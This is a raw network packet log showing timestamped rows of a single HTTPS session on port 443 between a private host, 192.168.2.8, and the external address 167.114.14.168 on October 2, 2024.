Oct 2, 2024 06:11:38.726290941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.726327896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.727438927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.727454901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.727528095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.727535009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.727602005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.727977037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.728003979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.728059053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.728065014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.728121996 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.728389978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.728410006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.728457928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.728461981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.728491068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.728512049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.774641991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.774666071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.774764061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.774772882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.774832010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.818358898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.818375111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.818443060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.818458080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.818759918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.818998098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.819014072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.819084883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.819089890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.819132090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.819645882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.819662094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.819719076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.819725037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.819825888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.819863081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.819876909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.819916010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.819921017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.819950104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.819962978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.820343971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.820358992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.820420980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.820430994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.820553064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.821293116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.821317911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.821363926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.821369886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.821399927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.821419954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.821506023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.821520090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.821561098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.821566105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.821593046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.821610928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.865394115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.865417004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.865478039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.865494967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.865521908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.865541935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.909615040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.909634113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.909722090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.909734011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.909773111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.909981012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.909996033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.910079002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.910079002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.910085917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.910129070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.910499096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.910514116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.910559893 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.910564899 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.910597086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.910619974 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.910936117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.910969973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.911001921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.911005974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.911042929 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.911055088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.911400080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.911415100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.911474943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.911480904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.911509037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.911537886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.911842108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.911884069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.911904097 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.911910057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.911942005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.911958933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.912348032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.912368059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.912437916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.912445068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.912580967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.913214922 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.956043959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.956062078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.956134081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.956146002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.956196070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.000600100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.000617981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.000686884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.000699043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.000775099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.001300097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.001316071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.001369953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.001377106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.001554966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.001971006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.001986027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.002051115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.002057076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.002099991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.004086018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.004102945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.004179955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.004184961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.004250050 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.004852057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.004868031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.004924059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.004930019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.005064964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.005547047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.005563021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.005623102 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.005631924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.005722046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.006392002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.006408930 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.006454945 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.006460905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.006505966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.006505966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.046857119 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.046879053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.046931028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.046946049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.046976089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.047029018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.090996027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.091018915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.091115952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.091125965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.091200113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.091747046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.091768026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.091885090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.091895103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.092356920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.092377901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.092433929 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.092442036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.092464924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.092498064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.094567060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.094582081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.094657898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.094666004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.094696999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.094712973 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.095331907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.095349073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.095412016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.095417023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.095431089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.095465899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.095931053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.095953941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.096004963 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.096010923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.096056938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.096493959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.096510887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.096618891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.096625090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.097039938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.137804985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.137823105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.137912989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.137940884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.137988091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.181943893 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.181963921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.182049036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.182075977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.182151079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.182841063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.182863951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.182904005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.182910919 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.182962894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.182984114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.183528900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.183547020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.183609009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.183617115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.183655024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.185244083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.185259104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.185324907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.185348034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.185712099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.185853004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.185868979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.185913086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.185925007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.185950994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.185962915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.186235905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.186249971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.186305046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.186317921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.186783075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.186803102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.186846972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.186857939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.186872959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.186903000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.212697029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.228434086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.228450060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.228523016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.228564024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.228903055 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.272860050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.272876978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.273001909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.273031950 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.273425102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.273443937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.273485899 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.273497105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.273535013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.273565054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.274343014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.274357080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.274409056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.274418116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.274434090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.274487019 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.276060104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.276073933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.276134968 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.276146889 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.276529074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.276555061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.276593924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.276602983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.276623964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.276652098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.277209997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.277221918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.277268887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.277277946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.277698040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.278067112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.278079033 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.278120041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.278127909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.278143883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.278183937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.319138050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.319156885 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.319231033 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.319258928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.321861029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.363595963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.363616943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.363701105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.363734007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.364150047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.364172935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.364217997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.364229918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.364258051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.364285946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.364677906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.364695072 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.364732981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.364742041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.364754915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.364809036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.366745949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.366761923 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.366818905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.366832018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.367348909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.367367983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.367408991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.367419004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.367429972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.367460966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.367640972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.367660046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.367711067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.367718935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.368408918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.368427038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.368467093 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.368478060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.368493080 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.368522882 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.370368004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.410007000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.410026073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.410116911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.410161972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.412184000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.454190969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.454210997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.454294920 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.454325914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.454372883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.455028057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.455044985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:39.455092907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:39.455111027 CEST	443	49723	167.114.14.168	192.168.2.8
